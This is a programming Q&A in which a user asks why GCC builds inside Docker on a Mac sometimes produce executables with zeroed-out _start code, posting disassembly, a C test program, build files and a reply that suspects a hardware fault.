GCC produces an empty _start function - c

Question

I'm running GCC Alpine 9.3.0 in Docker Desktop Community 2.4.0.0 (Docker engine 19.03.13). Every now and then, GCC will build an executable that throws a segmentation fault. The segmentation fault occurs at the very beginning of the program's execution. Whenever this happens, I just recompile the code without changing anything in it or my Makefile, and that fixes the issue.
Examining the executable with objdump --disassemble --disassemble-zeroes --full-contents I noticed that whenever I get a segmentation fault the _start and _start_c functions are empty:
0000000000001068 <_start>:
1068: 00 00 add %al,(%rax)
106a: 00 00 add %al,(%rax)
106c: 00 00 add %al,(%rax)
106e: 00 00 add %al,(%rax)
1070: 00 00 add %al,(%rax)
1072: 00 00 add %al,(%rax)
1074: 00 00 add %al,(%rax)
1076: 00 00 add %al,(%rax)
1078: 00 00 add %al,(%rax)
107a: 00 00 add %al,(%rax)
107c: 00 00 add %al,(%rax)
000000000000107e <_start_c>:
107e: 00 00 add %al,(%rax)
1080: 00 00 add %al,(%rax)
1082: 00 00 add %al,(%rax)
1084: 00 00 add %al,(%rax)
1086: 00 00 add %al,(%rax)
1088: 00 00 add %al,(%rax)
108a: 00 00 add %al,(%rax)
108c: 00 00 add %al,(%rax)
108e: 00 00 add %al,(%rax)
1090: 00 00 add %al,(%rax)
1092: 00 00 add %al,(%rax)
1094: 00 00 add %al,(%rax)
1096: 00 00 add %al,(%rax)
1098: 00 00 add %al,(%rax)
109a: 00 00 add %al,(%rax)
109c: 00 00 add %al,(%rax)
109e: 00 00 add %al,(%rax)
10a0: 00 00 add %al,(%rax)
Compare that to the assembly when the executable does work:
0000000000001068 <_start>:
1068: 48 31 ed xor %rbp,%rbp
106b: 48 89 e7 mov %rsp,%rdi
106e: 48 8d 35 b3 2d 00 00 lea 0x2db3(%rip),%rsi # 3e28 <_DYNAMIC>
1075: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
1079: e8 00 00 00 00 callq 107e <_start_c>
000000000000107e <_start_c>:
107e: 48 8b 37 mov (%rdi),%rsi
1081: 48 8d 57 08 lea 0x8(%rdi),%rdx
1085: 45 31 c9 xor %r9d,%r9d
1088: 4c 8d 05 d1 03 00 00 lea 0x3d1(%rip),%r8 # 1460 <_fini>
108f: 48 8d 0d 6a ff ff ff lea -0x96(%rip),%rcx # 1000 <_init>
1096: 48 8d 3d d7 01 00 00 lea 0x1d7(%rip),%rdi # 1274 <main>
109d: e9 9e ff ff ff jmpq 1040 <__libc_start_main#plt>
Questions
What might be causing this? Is there a way I could prevent it?
Update
I tried to compile the same code on my Mac (without using Docker). I ran a script that compiled and ran the code 1000 times and it worked every single time. If I try to compile the code in Docker it fails after the fourth or fifth run (sometimes it even failed during the first try).
I also tried to compile the same code using a Ubuntu 18.04 container with glibc 2.27 installed, but I observed the same issues as I did in Alpine, so it doesn't seem to be a MUSL or Alpine-specific problem.
The problem does not seem to be related to GCC; I used clang 6.0.0-1ubuntu2 inside the Ubuntu Docker container and observed the same issue.
To rule out any hardware issues I used an AWS Ubuntu 20.04.1 virtual machine to run Docker 19.03.13 on top of it and compile the same code. Here I didn't observe any issues. Therefore, it seems that the issue is somehow limited to my Macbook running Docker, but I haven't been able to prove that it's a hardware issue.
Minimal reproducible example
I tried to reduce the code to a simpler example but for some reason then I won't have this problem (or at least I haven't seen it). So this is the smallest example that (sometimes) results in a segmentation fault:
ex1.c
#include <stdio.h>
void DoNothing(int x) {
printf("I'm inside %s\n", __FUNCTION__);
printf("%d is stored at %p\n", x, &x);
x += 1;
printf("x is now %d\n", x);
}
void DoSomething(int* p) {
printf("I'm inside %s\n", __FUNCTION__);
printf("%d is stored at %p\n", *p, p);
*p += 1;
printf("x is now %d\n", *p);
}
int main()
{
int x = 101;
int* p = &x;
printf("%d is stored at address %p\n", x, &x);
printf("%d is stored at address %p\n", *p, p);
printf("%d is stored at address %p\n"
" which is the same as %p\n", x, p, &x);
printf("%d is stored at %p\n", x, &x);
DoNothing(x);
printf("but here in %s, x is %d\n", __FUNCTION__, x);
DoSomething(p);
printf("now back in %s, x is %d\n", __FUNCTION__, x);
x = 101;
int** q = &p;
printf("x equals %d == %d == %d\n", x, *p, **q);
printf("x is at %p == %p == %p\n", &x, p, *q);
printf("p equals %p == %p == %p\n", &x, p, *q);
printf("p is at %p == %p\n", &p, q);
printf("q equals %p == %p\n", &p, q);
printf("q is at %p\n", &q);
return 0;
}
Makefile
.PHONY: clean
CFLAGS=-Wall -Werror -Wextra -std=c99 -g
all:
#mkdir -p build
gcc $(CFLAGS) -o build/ex ex1.c
clean:
rm -f build/*
Dockerfile
FROM alpine:3.12.0
RUN apk add \
cmake=3.17.2-r0 \
g++=9.3.0-r2 \
gcc=9.3.0-r2 \
gdb=9.2-r0 \
libc-dev=0.7.2-r3 \
make=4.3-r0
run.sh
docker run \
--rm \
-i \
-t \
-v $(pwd):/home \
-w '/home' \
ccompiler:$VERSION
To trigger the error, I use this script that compiles the code up to 1000 times:
keep_building.sh
#!/bin/bash
for i in {1..1000};
do
echo $i
make
./build/sample
if [ $? -ne 0 ];
then
echo $i
exit 1
fi
#sleep 5
done

Answer 1

The file you posted is badly corrupted. Not just _start, but the whole program headers table, needed to load and execute the ELF file, has been overwritten with zeros. I strongly suspect you have bad RAM, an overclocked CPU, or some other hardware fault causing this kind of corruption; there is not likely any software-level explanation for it.